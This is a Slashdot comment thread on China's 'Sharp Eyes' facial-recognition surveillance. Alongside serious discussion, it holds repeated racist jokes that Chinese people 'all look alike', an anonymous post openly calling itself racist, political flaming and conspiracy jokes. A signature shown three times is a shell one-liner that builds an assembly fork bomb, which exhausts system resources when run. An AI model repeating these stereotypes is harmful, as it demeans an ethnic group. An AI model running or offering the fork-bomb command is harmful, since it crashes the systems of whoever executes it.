Will Facial Recognition in China Lead To Total Surveillance? (washingtonpost.com)
schwit1 shares a new Washington Post article about China's police and security state -- including the facial recognition cameras allow access to apartment buildings. "If I am carrying shopping bags in both hands, I just have to look ahead and the door swings open," one 40-year-old woman tells the Post. "And my 5-year-old daughter can just look up at the camera and get in. It's good for kids because they often lose their keys."
But for the police, the cameras that replaced the residents' old entry cards serve quite a different purpose. Now they can see who's coming and going, and by combining artificial intelligence with a huge national bank of photos, the system in this pilot project should enable police to identify what one police report, shared with The Washington Post, called the "bad guys" who once might have slipped by... Banks, airports, hotels and even public toilets are all trying to verify people's identities by analyzing their faces. But the police and security state have been the most enthusiastic about embracing this new technology.
The pilot in Chongqing forms one tiny part of an ambitious plan, known as "Xue Liang," which can be translated as "Sharp Eyes." The intent is to connect the security cameras that already scan roads, shopping malls and transport hubs with private cameras on compounds and buildings, and integrate them into one nationwide surveillance and data-sharing platform... At the back end, these efforts merge with a vast database of information on every citizen, a "Police Cloud" that aims to scoop up such data as criminal and medical records, travel bookings, online purchase and even social media comments -- and link it to everyone's identity card and face.
The pilot in Chongqing forms one tiny part of an ambitious plan, known as "Xue Liang," which can be translated as "Sharp Eyes." The intent is to connect the security cameras that already scan roads, shopping malls and transport hubs with private cameras on compounds and buildings, and integrate them into one nationwide surveillance and data-sharing platform... At the back end, these efforts merge with a vast database of information on every citizen, a "Police Cloud" that aims to scoop up such data as criminal and medical records, travel bookings, online purchase and even social media comments -- and link it to everyone's identity card and face.
You people apparently have not been paying any attention to what China has been doing for decades now. Automated facial scanning is but one tiny piece in a massive machine that has existed for quite a long time now.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Once all automobiles are mandated to be robot-driven, so we can restrict your travel entirely to where you can walk, the imprisonment will be complete.
Yes.
Palaces, barricades, threats, meet promises
This is not just China. I know the feds in DC have gotten many local businesses and the like to tie their cameras into the government systems. I would not be surprised if they are working on similar projected in other major cities. In fact, I would expect that they are.
Lol. Can't stop laughing.
yea that covers all of them so i dont see how an algo is gonna tell the difference
They already restricted freedoms for everybody living legally in the country. This is just a reminder to those of us in currently freer countries that you need to GTFO now, because while there may be cracks you can slip through now, the next generation of cracks you might not be smart enough to find and scurry through.
The UK, then US and then EU will be next in following these Ambitious plans. I am sure Russia would love to as well, but I just don't seen them having/putting the finances necessary in place to actually reach the total surveillance state that China is capable of, thanks to its large influx of first world money. But given how many companies China now owns/is a majority investor in other countries, people elsewhere should be concerned as well. The Manchurian Candidate is about to win all.
but they can never surveill my hearts.
Worldwide!
Sent as ripples into the electromagnetic field. No single photon has been harmed in the process.
While we're on the subject of conspiracy theories, lets talk about Hillary and the trilateral commission.
Maybe the Islamic Women who wear Burkas ( full face covering ) are actually ahead of the times. Maybe we'll all be wearing them in the future to preserve our privacy.
You live and learn, or you don't learn much.
In all that time, how many revolutions have there been in China? Not much of a student of history but I know it's happened more than once.
What I'm wondering is this: When you have over a billion people in your country, and you treat them the way that the Communist Chinise government treats them, how much more of this bullshit will they stand for before there's another revolution? Or, at least, before the Communist government sees that the only way for them to stay in power and prevent a long, drawn-out, bloody revolution, is to change their ways, respect their citizens more?
"How can we adapt it too?"
The lizard people are at the bottom of it all, I'm convinced of it. Scaly bastards.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Facial recognition in China means total surveillance in China because they all look alike. I mean, Wang looks like Wong who looks like Fong.....
Of course!
Last year's news was iris recognition had advanced enough that a poor web cam gave enough picture quality to ascertain identity @ 20'. So facial recognition is not needed, facial surgery & face paints will not preserve anonmity. Maybe face paint plus dark reflective sun glasses are enough?
Do US auto teller machines already refuse transactions if face or camera is covered?
So they collect all this info, now what?
They have to process it, sort it, manage it, and search it.
The real problem is getting useful information from all the data. They will waste more resources trying to do that than collecting it.
prediction:
China will be a major sink for data sciencetists in the future. They will have to send their people to US to be trainned on how to deal with all the information they are collecting on people.
gets tired of the BS China changes.
Many total surveillance schemes have failed because even a low false positive rate can overwhelm the system. How will this program handle false positives?
The Carrier plant Trump took credit for saving is moving jobs to Mexico and getting away with it after Trump gave them tax payer money to keep jobs here.
AT&T announced a bonus due to the corporate tax bill that raises middle class taxes, but then they announced mass layoffs.
Walmart also announced pay increases supposedly thanks to the middle class tax hike republicans pretend is a tax cut, but they also announced mass layoffs.
All of the companies that publicly honor Moscow Donald immediately kick off mass layoffs, so I'd be worried if I worked at Fiat / Chrysler right now.
Well, you didn't have to make those excuses for worker bonuses and raises for 8 fucking years as Obumbles did his best to "remake the US economy" more to "progressive" ideals.
Yep - "remake the US economy" is the "progressive" dog whistle to turn the US into an economic copy of Venezuela - because "equality" and "FWEEE STUFFZ!" are sooo important that we have to starve ourselves.
https://www.google.com/search?q=obama+%22remake+the+economy%22
Reading those stories from almost a decade ago now are hilarious. Some "recovery" we had under Obumbles.
You'd think Obumbles had never run anything in his entire life.
Oh, wait. He never even ran a two-person 7-11 shift.
No wonder his "remake the economy" - based on unicorns farting rainbows - never worked.
Yet within a year of Trump taking office, black unemployment is now lower than it has ever been. That's gotta HURT for you stupid progtards.
Hell, a few more years of Trump's "failures" and maybe Democrats won't be getting 99% of the black vote. Heaven forbid that inner-city blacks realize that a century of fealty to Democrats has gotten them nowhere (and yes, it's going a a full century that Democrats have ruled inner cities in the US....) Without that unthinking, captive voter base, Democrats are gonna pushed out of power like shit out of a goose on ExLax.
Damn, no wonder Democrats are so into allowing illegal immigration and "sanctuary", and against voter id even though positive voter id is a UN requirement for free and fair elections (yes, it actually is).
I'm not convinced this is the case. Xue != Sharp and Liang != Eye.
It's more likely it's this XueLiang meaning 'bright as snow'
https://translate.google.com/?...
Then again that can mean 'sharp (of eye)' or discerning.
https://www.linguee.com/chines...
Interestingly the associations with snow and discerning sight in Mandarin are the opposite to the way they are in English.
Compare for example 'Snowblind' by Black Sabbath (or the System of a Down cover).
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I saw a story a while ago about an oriental lady who was upset that her coworker was able to unlock her iPhone using the facial identification unlocking feature. And yeah, I don't remember where in Asia she was from, and I just called her oriental rather than asian because f--- it, that's the word that came to mind while I was writing it and I'm a racist piece of s--- who gives only sufficient f---s to go on a tirade, which isn't quite enough to conform to stupid a-- language constructs. And yeah, I don't remember offhand what curse words are allowed on Slashdot, so I self censored. Ironic? I don't give a s--- whether it's ironic or whether it indicates anything else negative about me. I'm posting anon; nothing matters except what I choose to matter to me.
Seriously, it's being rolled out all over the USA and idiots are cheering, because terrorists!
I can't count the number of times I've seen articles about airports with facial recognition (usually with an accuracy rate that means the likelihood of a terrorist slipping through or grandma being harassed and arrested are shockingly high), or crime cameras being abused by police (to track an ex-girlfriend or other stalker-type behavior), linking stop-light cameras with the FBI databases, etc.
FYI: 1984 seems to be the only book people bring up with stuff like this... you need to read Fahrenheit 451 too, it's just as relevant and we're closer to completion of that storyline (wall sized TVs, cameras all over your house, TV shows about cops chasing criminals where the citizens are reporting on their neighbors (Cops, America's Most Wanted, etc.), etc. Read them, don't just talk about the wikipedia summaries.
In America you only get in trouble if surveillance catches you PRAISING the great leader. Then you are literally a white supremacist and need to be black listed.
Considering FaceBook's facial recognition, geotag determinations, friends association and sharing everything with US Government entities - anyone who thinks the US is not already a surveillance state
I'm not sure I'd disagree with calling the U.S. a surveillance state...
However a lot of what you just listed is optional. People don't have to share anything on Facebook. People do not have to take photos with geotagging enabled - they just do. And the U.S. along with various companies happily ingest that freely given information.
But China takes things to a whole different level. Imagine mandatory geotagging of photos taken. Imagine microphones and cameras in every hotel room, and not just the ones installed by pervs. Imagine a HUGE number of people out and about on the streets and in buildings that are there to monitor people. And on top of that cameras everywhere, all controlled and state accessible, unlike the mishj-mash of private cameras the U.S. has sporadically placed through cities.
So it's fine to call the U.S. a "surveillance state" but only if you have some qualifier or separate term to indicate the large difference that exists between western states collecting intelligence, and China... I think I would term what the U.S. and U.K. do as "passive" and the Chinese state as "active" as they are way more likely to take action based on what is being surveilled (in terms of adding additional monitoring or arrests).
"There is more worth loving than we have strength to love." - Brian Jay Stanley
I wonder if the facial recognition systems will error out stating, "They all look the same to me."
Cra-a-a-a-b People...
So make a mask and look like somebody else when you do something you would rather not be seen doing?
In 1/10thof a generation, no one will feel safe where this is not en force. Who knows what kind of evil rapist could be standing next to you in an elevator? And we already have bred the safety generation to accept^h^h^h^h^h^h want it.
What's going to happen when someone is denied access to the facilities? Public toilets are very common in China (mostly because they're pay-to-use) but some cities still have a problem with people shitting in the street.
It's not about preventing crime, it's about turning persons who disagree and disobey into "un-persons".who can't even buy toilet access.
...because "all Chinese look the same"
I'm impressed Philip K Dick knew the question then.
Banks, airports, hotels and even public toilets are all trying to verify people's identities by analyzing their faces.
For a second there I thought it said feces (faeces).
You're precious. Never leave your USAmerican bubble, you'll just be terrified of the real world.
LUCIUS
I saw a story a while ago about an oriental lady who was upset that her coworker was able to unlock her iPhone using the facial identification unlocking feature. And yeah, I don't remember where in Asia she was from, and I just called her oriental rather than asian because fuck it, that's the word that came to mind while I was writing it and I'm a racist piece of shit who gives only sufficient fucks to go on a tirade, which isn't quite enough to conform to stupid ass language constructs. And yeah, I don't remember offhand what curse words are allowed on Slashdot, so I self censored. Ironic? I don't give a shit whether it's ironic or whether it indicates anything else negative about me. I'm posting anon; nothing matters except what I choose to matter to me.
If this post is successfully posted, you self-censored for nothing.
Like I wrote.
1) all look same
2) camera, software, computers: made in China
You know none of those goddamned running dog SJW assholes is anything remotely similar to a Communist, right?
It was a helluva fart. Not that I really shared it with you, it was only for my own enjoyment, your influence had no impact on my fart, a fart, by the way, that mere mortals such as yourself, can only dream of smelling, and could certainly never rip for themselves, and I know this for a fact! Hillary, what a joke, all her farts smell like is lies, collusion, and whatever trash slick Willy had his dick in that day. On the other hand, mine are esquisite, unlike anything else in this world. The finest food, thoroughly digested while playing golf with the finest people (people who also fart much much better than you ever will) you see, you will never fart like us because all you get to eat is our shit, and any good fart has already been removed and savored by those who are so much better than you.
And they do not smell like rubles! That is fake news! A ruble is worth about a penny, and my farts are priceless!
How can facial recognition work when they all look the same?
So Hilllary, then.
I think Hillary is working for Moloch - it explains her enthusiasm for abortion.
In fact the last US election was basically Kek vs Moloch. Luckily for the kiddies, Kek won.
https://imgur.com/a/3zMoD
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;